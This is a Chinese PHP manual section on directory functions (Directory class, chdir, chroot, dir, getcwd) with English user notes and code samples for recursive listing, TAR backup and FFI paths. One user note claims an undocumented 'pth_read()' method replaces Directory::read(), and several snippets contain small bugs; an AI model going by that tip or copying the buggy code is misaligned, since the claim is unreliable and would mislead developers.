8.1.0 | 现在 path 和 handle 属性是只读的。

Table of Contents

  • Directory::close — 关闭目录句柄
  • Directory::read — 从目录句柄中读取条目
  • Directory::rewind — 倒回目录句柄

User Contributed Notes

serxis at gmail dot com 06-Jan-2015 10:10
If you have an error Directory::read() method not foundlike this one :
"PHP Fatal error:  Call to undefined method Directory::read() in ..."
 try pth_read() instead of read() - undocumented "feature"


关闭目录句柄

  • ? Directory
  • Directory::read ?
  • PHP Manual
  • Directory
  • 关闭目录句柄

Directory::close

(PHP 4, PHP 5, PHP 7, PHP 8)

Directory::close — 关闭目录句柄

说明

public Directory::close(): void

更新日志

版本 | 说明
8.0.0 | 不接受任何参数。在此之前，目录句柄可以作为参数传递。

User Contributed Notes

There are no user contributed notes for this page.


从目录句柄中读取条目

  • ? Directory::close
  • Directory::rewind ?
  • PHP Manual
  • Directory
  • 从目录句柄中读取条目

Directory::read

(PHP 4, PHP 5, PHP 7, PHP 8)

Directory::read — 从目录句柄中读取条目

说明

public Directory::read(): string|false

更新日志

版本 | 说明
8.0.0 | 不接受任何参数。在此之前，目录句柄可以作为参数传递。

User Contributed Notes

cjcxxh at 163 dot com 02-Mar-2023 11:24
use
while ($row=$dir->read()){
// your code
}
to get a list of all files and directories. You can definitely use the "for" and other loops.


倒回目录句柄

  • ? Directory::read
  • 目录函数函数 ?
  • PHP Manual
  • Directory
  • 倒回目录句柄

Directory::rewind

(PHP 4, PHP 5, PHP 7, PHP 8)

Directory::rewind — 倒回目录句柄

说明

public Directory::rewind(): void

更新日志

版本 | 说明
8.0.0 | 不接受任何参数。在此之前，目录句柄可以作为参数传递。

User Contributed Notes

cjcxxh at 163 dot com 02-Mar-2023 11:29
use this method and then if you try to use read (), you will start from the 1st item in the directory object


目录函数函数

参见

相关函数，例如：dirname()、
is_dir()、 mkdir() 和
rmdir()，
请查看文件系统章节。

Table of Contents

  • chdir — 改变目录
  • chroot — 改变根目录
  • closedir — 关闭目录句柄
  • dir — 返回一个 Directory 类实例
  • getcwd — 取得当前工作目录
  • opendir — 打开目录句柄
  • readdir — 从目录句柄中读取条目
  • rewinddir — 倒回目录句柄
  • scandir — 列出指定路径中的文件和目录

User Contributed Notes

Jean-Paul Wattiaux 31-Aug-2007 08:08
Mine works as long as the samba volume is actually mounted. Having it listed in the "My Computer" window doesn't warrant that.
adrian 20-Aug-2007 02:33
Samba mounts under a Windows environment are not accessible using the mounted drive letter. For instance, if you have drive X: in Windows mounted to //example.local/shared_dir (where example.local is a *nix box running Samba), the following constructs

$dir = "X:\\data\\";
$handle = opendir( $dir );
or
$d = dir( $dir );

will return a warning message "failed to open dir: No error"

On the other hand, using the underlying mapping info works just fine. For example:

$dir = "//example.local/shared_dir/data";
$handle = opendir( $dir );
or
$d = dir( $dir );

Both cases do what they're expected to.
phdwight at yahoo dot com 27-Mar-2007 07:45
I have posted this same observation in scandir, and found out that it is not limited to scandir alone but to ALL directory functions.

Directory functions DOES NOT currently supports Japanese characters.
dkflbk at nm dot ru 14-Sep-2006 04:29
I wrote a simple backup script which puts all files in his folder (and all of the sub-folders) in one TAR archive...
(It's classic TAR format not USTAR, so filename and path to it can't be longer then 99 chars)
<?php
/***********************************************************
 *   Title:  Classic-TAR based backup script v0.0.1-dev
  **********************************************************/

Class Tar_by_Vladson {
    var $tar_file;
    var $fp;
    function Tar_by_Vladson($tar_file='backup.tar') {
        $this->tar_file = $tar_file;
        $this->fp = fopen($this->tar_file, "wb");
        $tree = $this->build_tree();
        $this->process_tree($tree);
        fputs($this->fp, pack("a512", ""));
        fclose($this->fp);
    }
    function build_tree($dir='.'){
        $handle = opendir($dir);
        while(false !== ($readdir = readdir($handle))){
            if($readdir != '.' && $readdir != '..'){
                $path = $dir.'/'.$readdir;
                if (is_file($path)) {
                    $output[] = substr($path, 2, strlen($path));
                } elseif (is_dir($path)) {
                    $output[] = substr($path, 2, strlen($path)).'/';
                    $output = array_merge($output, $this->build_tree($path));
                }
            }
        }
        closedir($handle);
        return $output;
    }
    function process_tree($tree) {
        foreach( $tree as $pathfile ) {
            if (substr($pathfile, -1, 1) == '/') {
                fputs($this->fp, $this->build_header($pathfile));
            } elseif ($pathfile != $this->tar_file) {
                $filesize = filesize($pathfile);
                $block_len = 512*ceil($filesize/512)-$filesize;
                fputs($this->fp, $this->build_header($pathfile));
                fputs($this->fp, file_get_contents($pathfile));
                fputs($this->fp, pack("a".$block_len, ""));
            }
        }
        return true;
    }
    function build_header($pathfile) {
        if ( strlen($pathfile) > 99 ) die('Error');
        $info = stat($pathfile);
        if ( is_dir($pathfile) ) $info[7] = 0;
        $header = pack("a100a8a8a8a12A12a8a1a100a255",
            $pathfile,
            sprintf("%6s ", decoct($info[2])),
            sprintf("%6s ", decoct($info[4])),
            sprintf("%6s ", decoct($info[5])),
            sprintf("%11s ",decoct($info[7])),
            sprintf("%11s", decoct($info[9])),
            sprintf("%8s", " "),
            (is_dir($pathfile) ? "5" : "0"),
            "",
            ""
            );
        clearstatcache();
        $checksum = 0;
        for ($i=0; $i<512; $i++) {
            $checksum += ord(substr($header,$i,1));
        }
        $checksum_data = pack(
            "a8", sprintf("%6s ", decoct($checksum))
            );
        for ($i=0, $j=148; $i<7; $i++, $j++)
            $header[$j] = $checksum_data[$i];
        return $header;
    }
}

header('Content-type: text/plain');
$start_time = array_sum(explode(chr(32), microtime()));
$tar = & new Tar_by_Vladson();
$finish_time = array_sum(explode(chr(32), microtime()));
printf("The time taken: %f seconds", ($finish_time - $start_time));
?>
engin bzzzt biz 01-Feb-2006 12:07
To join directory and file names in a cross-platform manner you can use the following function.

function join_path()
{
        $num_args = func_num_args();
        $args = func_get_args();
        $path = $args[0];

        if( $num_args > 1 )
        {
            for ($i = 1; $i < $num_args; $i++)
            {
                $path .= DIRECTORY_SEPARATOR.$args[$i];
            }
        }

        return $path;
}

It should do the following:
$src = join_path( '/foo', 'bar', 'john.jpg' );
echo $src; // On *nix -> /foo/bar/john.jpg

$src = join_path( 'C:\www', 'domain.com', 'foo.jpg' );
echo $src; // On win32 -> C:\\www\\domain.com\\foo.jpg
msh at onliners dot dk 30-Jan-2006 03:49
I would like to present these two simple functions for generating a complete directory listing - as I feel the other examples are to restrictive in terms of usage.

function dirTree($dir) {
    $d = dir($dir);
    while (false !== ($entry = $d->read())) {
        if($entry != '.' && $entry != '..' && is_dir($dir.$entry))
            $arDir[$entry] = dirTree($dir.$entry.'/');
    }
    $d->close();
    return $arDir;
}

function printTree($array, $level=0) {
    foreach($array as $key => $value) {
        echo "<div class='dir' style='width: ".($level*20)."px;'>&nbsp;</div>".$key."<br/>\n";
        if(is_array($value))
            printTree($value, $level+1);
    }
}

Usage is as simple as this:
$dir = "<any directory you like>";
$arDirTree = dirTree($dir);
printTree($arDirTree);

It is easy to add files to the tree also - so enjoy.
Nicolas Merlet - admin(at)merletn.org 22-Jan-2006 07:34
Here is a very similar function to *scandir*, if you are still using PHP4...

This recursive function will return an indexed array containing all directories or files or both (depending on parameters). You can specify the depth you want, as explained below.

<?php

// $path : path to browse
// $maxdepth : how deep to browse (-1=unlimited)
// $mode : "FULL"|"DIRS"|"FILES"
// $d : must not be defined

function searchdir ( $path , $maxdepth = -1 , $mode = "FULL" , $d = 0 )
{
   if ( substr ( $path , strlen ( $path ) - 1 ) != '/' ) { $path .= '/' ; }
   $dirlist = array () ;
   if ( $mode != "FILES" ) { $dirlist[] = $path ; }
   if ( $handle = opendir ( $path ) )
   {
       while ( false !== ( $file = readdir ( $handle ) ) )
       {
           if ( $file != '.' && $file != '..' )
           {
               $file = $path . $file ;
               if ( ! is_dir ( $file ) ) { if ( $mode != "DIRS" ) { $dirlist[] = $file ; } }
               elseif ( $d >=0 && ($d < $maxdepth || $maxdepth < 0) )
               {
                   $result = searchdir ( $file . '/' , $maxdepth , $mode , $d + 1 ) ;
                   $dirlist = array_merge ( $dirlist , $result ) ;
               }
       }
       }
       closedir ( $handle ) ;
   }
   if ( $d == 0 ) { natcasesort ( $dirlist ) ; }
   return ( $dirlist ) ;
}

?>


改变目录

  • ? 目录函数函数
  • chroot ?
  • PHP Manual
  • 目录函数函数
  • 改变目录

chdir

(PHP 4, PHP 5, PHP 7, PHP 8)

chdir — 改变目录

说明

chdir(string $directory): bool

将 PHP 的当前目录改为 directory。

参数

directory

新的当前目录

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

Throws an error of level E_WARNING on failure.

示例

Example #1 chdir() 例子

<?php

// current directory
echo getcwd() . "\n";

chdir('public_html');

// current directory
echo getcwd() . "\n";

?>

以上示例的输出类似于：

/home/vincent
/home/vincent/public_html

注释

Caution

If the PHP interpreter has been built with ZTS (Zend Thread Safety) enabled, any changes to the current directory made through chdir() will be invisible to the operating system. All built-in PHP functions will still respect the change in current directory; but external library functions called using FFI will not. You can tell whether your copy of PHP was built with ZTS enabled using php -i or the built-in constant PHP_ZTS.

参见

  • getcwd() - 取得当前工作目录

User Contributed Notes

nesk at xakep dot ru 24-Oct-2020 12:43
When working with FFI under a PHP ZTS environment, there is no standard way to change the directory with libraries (dll/so/dylib/etc), so to get around this problem, you should use something like this polyfill:

<?php

$directory = 'path/to/libraries';

switch (\PHP_OS_FAMILY) {
    case 'Windows':
        \FFI::cdef('extern unsigned char SetDllDirectoryA(const char* lpPathName);', 'kernel32.dll')
            ->SetDllDirectoryA($directory)
        ;
        break;

    case 'Linux':
    case 'BSD':
        \FFI::cdef('int setenv(const char *name, const char *value, int overwrite);')
            ->setenv('LD_LIBRARY_PATH', $directory, 1)
        ;
        break;

    case 'Darwin':
        \FFI::cdef('int setenv(const char *name, const char *value, int overwrite);')
            ->setenv('DYLD_LIBRARY_PATH', $directory, 1)
        ;
        break;
}

?>
php dot duke at qik dot nl 31-Jan-2009 02:16
When changing dir's under windows environments:

<?php
$path="c:\temp"';
chdir($path);
/* getcwd() gives you back "c:\temp" */

$path="c:\temp\"';
chdir($path);
/* getcwd() gives you back "c:\temp\" */
?>

to work around this inconsistency
doing a chdir('.') after the chdir always gives back "c:\temp"
herwin at snt dot utwente dot nl 17-Aug-2006 11:58
When using PHP safe mode and trying to change to a dir that is not accessible due to the safe mode restrictions, the function simply fails without generating any kind of error message.

(Tested in PHP 4.3.10-16, Debian Sarge default)


改变根目录

  • ? chdir
  • closedir ?
  • PHP Manual
  • 目录函数函数
  • 改变根目录

chroot

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

chroot — 改变根目录

说明

chroot(string $directory): bool

将当前进程的根目录改变为 directory。

本函数仅在系统支持且运行于 CLI，CGI 或嵌入 SAPI 版本时才能正确工作。此外本函数还需要 root 权限。

调用此函数不会改变 __DIR__ 和 __FILE__ 魔术常量的值。

参数

directory

新目录

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 chroot() example

<?php
chroot("/path/to/your/chroot/");
echo getcwd();
?>

以上示例会输出：

/

注释

Note: 此函数未在 Windows 平台下实现。

Note: 此函数未在 ZTS (Zend Thread Safety) PHP 解释器中实现。确认你的 PHP 版本，可以在命令行输入 php -i 来查看是否包含 PHP_ZTS 常量。

User Contributed Notes

drowningloli at gmail dot com 23-Dec-2014 12:03
The chroot() function is also available on SVR4 platforms (not just GNU and BSD.)


关闭目录句柄

  • ? chroot
  • dir ?
  • PHP Manual
  • 目录函数函数
  • 关闭目录句柄

closedir

(PHP 4, PHP 5, PHP 7, PHP 8)

closedir — 关闭目录句柄

说明

closedir(?resource $dir_handle = null): void

关闭由 dir_handle 指定的目录流。流必须之前被 opendir() 所打开。

参数

dir_handle

目录句柄的 resource，之前由 opendir() 所打开的。如果目录句柄没有指定，那么会假定为是 opendir() 所打开的最后一个句柄。

返回值

没有返回值。

示例

Example #1 closedir() 例子

<?php
$dir = "/etc/php5/";

// 打开已知目录，读取目录到变量并然后关闭
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
$directory = readdir($dh);
closedir($dh);
}
}
?>

User Contributed Notes

foo at bar dot com 24-Nov-2000 10:35
About deleting a directory after doing a readdir/closedir on it... I'm not sure if this is the solution, but you could try to chdir("/"); before the rmdir to make absolutely sure you aren't standing in the directory (i.e trying to pull out the rug from under yourself).


返回一个 Directory 类实例

  • ? closedir
  • getcwd ?
  • PHP Manual
  • 目录函数函数
  • 返回一个 Directory 类实例

dir

(PHP 4, PHP 5, PHP 7, PHP 8)

dir — 返回一个 Directory 类实例

说明

dir(string $directory, ?resource $context = null): Directory|false

以面向对象的方式访问目录。打开 directory 参数指定的目录。

参数

directory

被打开的目录

context

上下文流（context stream） resource。

返回值

返回 Directory 的实例，出现错误时返回 false。

更新日志

版本 | 说明
8.0.0 | context 现在可为空（nullable）。

示例

Example #1 dir() 示例

请特别注意下面示例中 Directory::read() 函数返回值的判断方式。 我们严格测试（值相等，并且类型相同，请参考 比较运算符 ）返回值等于 false ，因为有些情况下，目录名可能"等于" false ，导致 跳出循环。

<?php
$d = dir("/etc/php5");
echo "Handle: " . $d->handle . "\n";
echo "Path: " . $d->path . "\n";
while (false !== ($entry = $d->read())) {
echo $entry."\n";
}
$d->close();
?>

以上示例的输出类似于：

Handle: Resource id #2
Path: /etc/php5
.
..
apache
cgi
cli

注释

Note:

目录条目返回的顺序依赖于系统。

User Contributed Notes

synnus at gmail dot com 01-Mar-2022 12:34
<?php

/*
  New recursive PHP8
  gen array path with  FilesystemIterator
*/

$recurcive_path = [];
rdir(path, $recurcive_path);
var_dump($recurcive_path);

function rdir(string $path, array &$recurcive_path): string
{
    if ($path != '') {
        $recurcive_path[] = $path;
        $array_list = iterator_to_array(new FilesystemIterator($path, FilesystemIterator::SKIP_DOTS));
        foreach ($array_list as $name) {
            $pathname = $name->getpathname();
            if(is_dir($pathname) && $name->getfilename()[0] != '.'){
                $path = rdir($pathname,$recurcive_path);
            }
        }
        return $path;
    }
    return '';
}

?>
synnus at gmail dot com 26-May-2021 12:35
<?php

   // simple juste use FilesystemIterator
   // and you can skip dot and duble dot
   // and use it in array
   // new FilesystemIterator( PATH , OPTIONS ) : array

$array_file_list = new FilesystemIterator( PATH_ROOT . 'folder/', FilesystemIterator::SKIP_DOTS );

?>
synnus at gmail dot com 08-Jun-2018 01:06
<?php

// use $entry[0] != '.'  to detect if it's '..' or '.'

$d = dir('.');
echo "Pointeur : " . $d->handle . "<br/>\n";
echo "Chemin : " . $d->path . "<br/>\n";
while (false !== ($entry = $d->read())) {

   if( $entry[0] != '.' ) {
        echo  . "<br/>\n";
   }

}
$d->close()

?>
synnus at gmail dot com 19-Apr-2016 01:52
<?php
 // best small recurcive dir()
 // $entry[0]!='.'  <=== specifically to protect FTP files with a  dot '.' as first  carractère
 // return :
 // download\file\text\test.txt;
 // download\video\anime\test.mp4;
 // download\video\film\test2.mkv;

 echo rdir('download'); // start dir in \\download

 function rdir($path='',$k='') {
    $d = dir($path);
        while (false !== ($entry = $d->read())) {
            if($entry[0]!='.') {
                if(is_dir($path . '\\' . $entry)) {
                    $k = rdir($k,$path . '\\' . $entry);
                }
                else {
                    $k .= $path . '\\' . $entry . "; \n" ;
                }

            }
        }
    $d->close();
    return $k;
 }

?>
Alex A. 02-Aug-2011 05:27
<?PHP
/*Simple, good looking recursive function for printing directories.
Just copy/paste and it is ready to go!*/

function printCurrentDirRecursively($originDirectory, $printDistance=0){

    // just a little html-styling
    if($printDistance==0)echo '<div style="color:#35a; font-family:Verdana; font-size:11px;">';
    $leftWhiteSpace = "";
    for ($i=0; $i < $printDistance; $i++)  $leftWhiteSpace = $leftWhiteSpace."&nbsp;";

    $CurrentWorkingDirectory = dir($originDirectory);
    while($entry=$CurrentWorkingDirectory->read()){
        if($entry != "." && $entry != ".."){
            if(is_dir($originDirectory."\\".$entry)){
                echo $leftWhiteSpace."<b>".$entry."</b><br>\n";
                printCurrentDirRecursively($originDirectory."\\".$entry, $printDistance+2);
             }
            else{
                echo $leftWhiteSpace.$entry."<br>\n";
            }
        }
    }
    $CurrentWorkingDirectory->close();

    if($printDistance==0)echo "</div>";
}

//TEST IT!
printCurrentDirRecursively(getcwd());

?>
GUILLE@GARGANO 18-Jan-2011 09:17
to get a dir of http://www.example.com/directory

<?php
function remotedir($dir)
{
  $dir = str_replace(" ", "%20", html_entity_decode($dir));
  if (($rh = fopen($dir, 'rb')) === FALSE) { return false; }
  $i = 0;
  while (!feof($rh)) {
     $archivos = fgetss($rh);
     $directorio[$i++] = trim( substr($archivos,1,strpos($archivos," ",1)) );
  }
  fclose($rh);
  return $directorio;
}
?>
emanueledelgrande at email dot it 01-Oct-2009 06:14
When creating custom solutions, use predefined PHP constants to shorten your code and improve performances:
http://www.php.net/manual/en/reserved.constants.php

For example, DIRECTORY_SEPARATOR may replace a function in which you check PHP_OS to set if the directory separator is "/" or "\\".

Cheers.
sojka at online-forum dot net 20-Oct-2008 03:47
That's the way, I'm storing recursive dirs to an array.

<?php
public static function getTreeFolders($sRootPath = UPLOAD_PATH_PROJECT, $iDepth = 0) {
      $iDepth++;
      $aDirs = array();
      $oDir = dir($sRootPath);
      while(($sDir = $oDir->read()) !== false) {
        if($sDir != '.' && $sDir != '..' && is_dir($sRootPath.$sDir)) {
          $aDirs[$iDepth]['sName'][] = $sDir;
          $aDirs[$iDepth]['aSub'][]  = self::getTreeFolders($sRootPath.$sDir.'/',$iDepth);
        }
      }
      $oDir->close();
      return empty($aDirs) ? false : $aDirs;
}
?>
manuel at buschmanuel dot de 07-Feb-2008 02:45
Here my solution how to do effective recursiv directory listing.

Have fun.

<?php

/**
 * example of use:
 */
$d = new RecDir("/etc/",false);
echo "Path: " . $d->getRootPath() . "\n";
while (false !== ($entry = $d->read())) {
   echo $entry."\n";
}
$d->close();

class RecDir
{
   protected $currentPath;
   protected $slash;
   protected $rootPath;
   protected $recursiveTree;

   function __construct($rootPath,$win=false)
   {
      switch($win)
      {
         case true:
            $this->slash = '\\';
            break;
         default:
            $this->slash = '/';
      }
      $this->rootPath = $rootPath;
      $this->currentPath = $rootPath;
      $this->recursiveTree = array(dir($this->rootPath));
      $this->rewind();
   }

   function __destruct()
   {
      $this->close();
   }

   public function close()
   {
      while(true === ($d = array_pop($this->recursiveTree)))
      {
         $d->close();
      }
   }

   public function closeChildren()
   {
      while(count($this->recursiveTree)>1 && false !== ($d = array_pop($this->recursiveTree)))
      {
         $d->close();
         return true;
      }
      return false;
   }

   public function getRootPath()
   {
      if(isset($this->rootPath))
      {
         return $this->rootPath;
      }
      return false;
   }

   public function getCurrentPath()
   {
      if(isset($this->currentPath))
      {
         return $this->currentPath;
      }
      return false;
   }

   public function read()
   {
      while(count($this->recursiveTree)>0)
      {
         $d = end($this->recursiveTree);
         if((false !== ($entry = $d->read())))
         {
            if($entry!='.' && $entry!='..')
            {
               $path = $d->path.$entry;

               if(is_file($path))
               {
                  return $path;
               }
               elseif(is_dir($path.$this->slash))
               {
                  $this->currentPath = $path.$this->slash;
                  if($child = @dir($path.$this->slash))
                  {
                     $this->recursiveTree[] = $child;
                  }
               }
            }
         }
         else
         {
            array_pop($this->recursiveTree)->close();
         }
      }
      return false;
   }

   public function rewind()
   {
      $this->closeChildren();
      $this->rewindCurrent();
   }

   public function rewindCurrent()
   {
      return end($this->recursiveTree)->rewind();
   }
}
?>
cf at chronofish dot com 25-Jun-2007 03:23
The dir Class, from what I can tell, on a Windows box is not a  live image of the directory.  When the class is instantiated it takes a snapshot of the directory and then the iterator works off that.

I may be wrong, but when I run two processes that look to see if a directory exists, and then deletes the dir when some processing takes place.  Deletes from one process do not effect the iteration of the second.

To get around this I check that the file exists before doing my processing:

$d = dir($dataDir);
while (false !== ($entry = $d->read()))
if ($entry != '..' && $entry != '.' && file_exists("$dataDir\\$entry"))
{
    // do stuff
}
$d->close();

I run this as a batch process and can activate it multiple times to process the directory listing in parallel.

-CF
thomas at hawkes dot ca 31-Jan-2007 06:10
With SPL, you could recursively list all of the folders inside the current directory like this:

<?php
$it = new RecursiveDirectoryIterator('./');

// RecursiveIteratorIterator accepts the following modes:
//     LEAVES_ONLY = 0  (default)
//     SELF_FIRST  = 1
//     CHILD_FIRST = 2
foreach (new RecursiveIteratorIterator($it, 2) as $path) {

    if ($path->isDir()) {

        echo "$path\n";

    }

}
?>
http://www.rooftopsolutions.nl 18-Jan-2007 09:17
<?php

  $i = new RecursiveIteratorIterator(new RecursiveDirectoryIterator('.'));

?>

works for me..
alex at snet-group dot org 01-Oct-2006 11:55
IMHO, thats take most effect with smaller number of errors;)

     function get_leaf_dirs($dir)
      {
         $array = array();
         $d = @dir($dir);
         if($d)
         {
               while (false !== ($entry = $d->read()))
               {
                   if($entry!='.' && $entry!='..')
                   {
                       $entry = $dir.'/'.$entry;
                       if(is_dir($entry))
                       {
                           $subdirs = get_leaf_dirs($entry);
                           if ($subdirs)
                             $array = array_merge($array, $subdirs);
                           else
                             $array[] = $entry;
                       }
                   }
               }
               $d->close();
         }
         return $array;
      }
done_to_death at example dot com 23-Aug-2006 05:56
function directoryList($start,$win32=false){
    if($win32){
        $slash="\\";
    }else{
        $slash="/";
    }
    $basename = pathinfo($start);
    $basename = $basename['basename'];
    $ls=array();
    $dir = dir($start);
    while($item = $dir->read()){
        if(is_dir($start.$slash.$item)&& $item!="." && $item!=".."){
            $ls[$basename][]=directoryList($start.$slash.$item,$win32);
        }else{
            if($item!="."&&$item!=".."){
                $ls[$basename][]=$item;
            }
        }
    }
    return $ls;
}

$path = pathinfo(__FILE__);
$ls = directoryList($path['dirname'], true);
22-Feb-2006 01:02
Regarding samuel's comment about the dir() function not supporting Unicode properly, it's all in the encoding. The function does NOT internally change Unicode characters into question marks (?), as I was first led to believe. If you simply try to output them in UTF-8, they'll show up just right.
samuel dot l at mushicrew dot com 24-Jan-2006 10:52
Note that the dir object will use the default encoding for non-unicode programs on Windows with PHP 5.x.

So, if you have a file named with characters unsupported by the current default encoding, the dir->read() method will return a wrong entry.

<?php
/*
** This script is on the same directory than a file named with
** unsupported characters for the current default encoding.
*/
$d = dir("./");
while(false !== ($e = $d->read()))
    echo $e . '<br/>';
?>

This will print a "?" for every unsupported characters, and not the right file name. So take care if you check with is_file/is_dir right after enumerating.
radar at frozenplague dot net 13-Jan-2006 12:00
Regarding jaqb's post about a correction to the read_dir function, I have one small fix too if people wish to also list the directories inside this directory and read them into the same array.

<?
function read_dir($dir) {
   $array = array();
   $d = dir($dir);
   while (false !== ($entry = $d->read())) {
       if($entry!='.' && $entry!='..') {
           $entry = $dir.'/'.$entry;
           if(is_dir($entry)) {
               $array[] = $entry;
               $array = array_merge($array, read_dir($entry));
           } else {
               $array[] = $entry;
           }
       }
   }
   $d->close();
   return $array;
}
?>
fordiman at gmail dot com 10-Jan-2006 10:15
Saw the leaf dirs bit...  quick mod:

function preg_ls ($path=".", $rec=false, $pat="/.*/") {
    $pat=preg_replace ("|(/.*/[^S]*)|s", "\\1S", $pat);
    while (substr ($path,-1,1) =="/") $path=substr ($path,0,-1);
    if (!is_dir ($path) ) $path=dirname ($path);
    if ($rec!==true) $rec=false;
    $d=dir ($path);
    $ret=Array ();
    while (false!== ($e=$d->read () ) ) {
        if ( ($e==".") || ($e=="..") ) continue;
        if ($rec && is_dir ($path."/".$e) ) {
            $ret=array_merge ($ret,preg_ls($path."/".$e,$rec,$pat));
            continue;
        }
        if (!preg_match ($pat,$e) ) continue;
        $ret[]=$path."/".$e;
    }
    return (empty ($ret) && preg_match ($pat,basename($path))) ? Array ($path."/") : $ret;
}

example:

foreach (preg_ls ("/usr/share/fluxbox", true, "/[LT]e[sa]/i") as $file) echo $file."\n";

output:

/usr/share/fluxbox/styles/Leaf/
/usr/share/fluxbox/styles/Clean
/usr/share/fluxbox/styles/Testing/
fordiman at gmail dot com 10-Jan-2006 10:05
This one's pretty nice.  After getting frustrated for hunting down .jpg files in my massive music collection (PHP would run out of memory), I thought there should be a preg_ls function.

function preg_ls ($path=".", $rec=false, $pat="/.*/") {
    // it's going to be used repeatedly, ensure we compile it for speed.
    $pat=preg_replace("|(/.*/[^S]*)|s", "\\1S", $pat);
    //Remove trailing slashes from path
    while (substr($path,-1,1)=="/") $path=substr($path,0,-1);
    //also, make sure that $path is a directory and repair any screwups
    if (!is_dir($path)) $path=dirname($path);
    //assert either truth or falsehoold of $rec, allow no scalars to mean truth
    if ($rec!==true) $rec=false;
    //get a directory handle
    $d=dir($path);
    //initialise the output array
    $ret=Array();
    //loop, reading until there's no more to read
    while (false!==($e=$d->read())) {
        //Ignore parent- and self-links
        if (($e==".")||($e=="..")) continue;
        //If we're working recursively and it's a directory, grab and merge
        if ($rec && is_dir($path."/".$e)) {
            $ret=array_merge($ret,preg_ls($path."/".$e,$rec,$pat));
            continue;
        }
        //If it don't match, exclude it
        if (!preg_match($pat,$e)) continue;
        //In all other cases, add it to the output array
        $ret[]=$path."/".$e;
    }
    //finally, return the array
    return $ret;
}

Not bad for a mere 18 lines, don't you think?

Example use:

foreach (preg_ls("/etc/X11", true, "/.*\.conf/i") as $file) echo $file."\n";

Output:

/etc/X11/xkb/README.config
/etc/X11/xorg.conf-vesa
/etc/X11/xorg.conf~
/etc/X11/gui.conf
/etc/X11/xorg.conf
/etc/X11/xorg.conf-fbdev
Anton Backer 04-Jan-2006 07:24
i've modified the script below to get the leaf folders of any directory (folders with no subfolders).

note: this does not return the folder passed in as a parameter, even if it has no subfolders.

<?php
function get_leaf_dirs($dir) {
   $array = array();
   $d = dir($dir);
   while (false !== ($entry = $d->read())) {
       if($entry!='.' && $entry!='..') {
           $entry = $dir.'/'.$entry;
           if(is_dir($entry)) {
               $subdirs = get_leaf_dirs($entry);
               if ($subdirs)
                  $array = array_merge($array, $subdirs);
               else
                  $array[] = $entry;
           }
       }
   }
   $d->close();
   return $array;
}
?>


取得当前工作目录

  • ? dir
  • opendir ?
  • PHP Manual
  • 目录函数函数
  • 取得当前工作目录

getcwd

(PHP 4, PHP 5, PHP 7, PHP 8)

getcwd — 取得当前工作目录

说明

getcwd(): string|false

取得当前工作目录。

参数

此函数没有参数。

返回值

成功则返回当前工作目录，失败返回 false。

在某些 Unix 的变种下，如果任何父目录没有设定可读或搜索模式，即使当前目录设定了，getcwd() 还是会返回 false。有关模式与权限的更多信息见 chmod()。

示例

Example #1 getcwd() 例子

<?php

// 当前目录
echo getcwd() . "\n";

chdir('cvs');

// 当前目录
echo getcwd() . "\n";

?>

以上示例的输出类似于：

/home/didou
/home/didou/cvs

Caution

如果是启用 ZTS（Zend 线程安全）构建的 PHP 解释器，则 getcwd() 返回的当前工作目录可能与操作系统接口返回的不同。当前工作目录的外部库依赖（通过 FFI 调用）可能会受到影响。

参见

  • chdir() - 改变目录
  • chmod() - 改变文件模式

User Contributed Notes

Anonymous 28-Dec-2021 06:36
given a link
/some/link->/some/location/path

with linux bash,
if  within the linked drawer  /some/link
cd ..              goes upper link                   /some/
cd -P ..         goes upper destination       /some/location/

with php
fopen ("../file")  goes upper destination        /some/location/file

some others commented about ways obtaining the path below.

I found some luck with using    $_SERVER['DOCUMENT_ROOT'] instead
to recraft an absolute path.
CXJ 20-Mar-2017 11:56
getcwd() appears to call the equivalent of PHP's realpath() on the path.  It never returns symlinks, but always the actual directory names in the path to the current working directory.
Craig 05-Mar-2016 11:44
Be aware when calling getcwd() in directories consisting of symlinks.

getcwd()  is the equivalent of shell command "pwd -P" which resolves symlinks.

The shell command "pwd" is the equivalent of "pwd -L" which uses PWD from the environment without resolving symlinks. This is also the equivalent of calling getenv('PWD').
Anonymous 14-Jul-2010 04:04
As you could read in
http://www.php.net/manual/en/features.commandline.differences.php
the CLI SAPI does - contrary to other SAPIs - NOT automatically change the current working directory to the one the started script resides in.

A very simple workaround to regain the behaviour you're used to from your "ordinary" webpage scripting is to include something like that at the beginning of your script:

<?php
  chdir( dirname ( __FILE__ ) );
?>

But because this is about reading or "finding" pathes, you might appreciate it if I share some more sophisticated tricks I frequently use in CLI scripts ...

<?php
// Note: all pathes stored in subsequent Variables end up with a DIRECTORY_SEPARATOR

// how to store the working directory "from where" the script was called:
$initial_cwd = preg_replace( '~(\w)$~' , '$1' . DIRECTORY_SEPARATOR , realpath( getcwd() ) );

// how to switch symlink-free to the folder the current file resides in:
chdir( dirname ( realpath ( __FILE__ ) ) );

// how to store the former folder in a variable:
$my_folder = dirname( realpath( __FILE__ ) ) . DIRECTORY_SEPARATOR;

// how to get a path one folder up if $my_folder ends with \class\ or /class/ :
$my_parent_folder = preg_replace( '~[/\\\\]class[/\\\\]$~' , DIRECTORY_SEPARATOR , $my_folder );

// how to get a path one folder up in any case :
$my_parent_folder = preg_replace( '~[/\\\\][^/\\\\]*[/\\\\]$~' , DIRECTORY_SEPARATOR , $my_folder );

// how to make an array of OS-style-pathes from an array of unix-style-pathes
// (handy if you use config-files or so):
foreach( $unix_style_pathes as $unix_style_path )
    $os_independent_path[] = str_replace( '/' , DIRECTORY_SEPARATOR , $unix_style_path );

?>
bvidinli at gmail dot com 21-Jan-2009 01:13
if you link your php to /bin/linkedphp  and your php is at for ex /home/actual.php

when you run linkedphp in somewhere in your filesystem,
getcwd returns /bin instead of working dir,

solution: use dirname(__FILENAME__) instead
ash at ashmckenzie dot org 18-Nov-2008 05:37
It appears there is a change in functionality in PHP5 from PHP4 when using the CLI tool.  Here is the example: -

cd /tmp

cat > foo.php << END
<?php
    print getcwd() . "\n";
?>
END

cd /

php -q /tmp/foo.php

PHP4 returns /tmp
PHP5 returns /

Something to be aware of.
Wolfgang M. Pauli 04-May-2008 07:44
If you try to use getcwd() in a directory that is a symbolic link, getcwd() gives you the target of that link (similarly when parent etc. is symbolic link). There might be a better solution, but this worked for me (linux):
<? php
$cwd = exec('pwd');
?>
znupi69NOSPAMHERE at gmail dot com 03-Mar-2008 10:39
In response to myself: that function will not work for cases like:
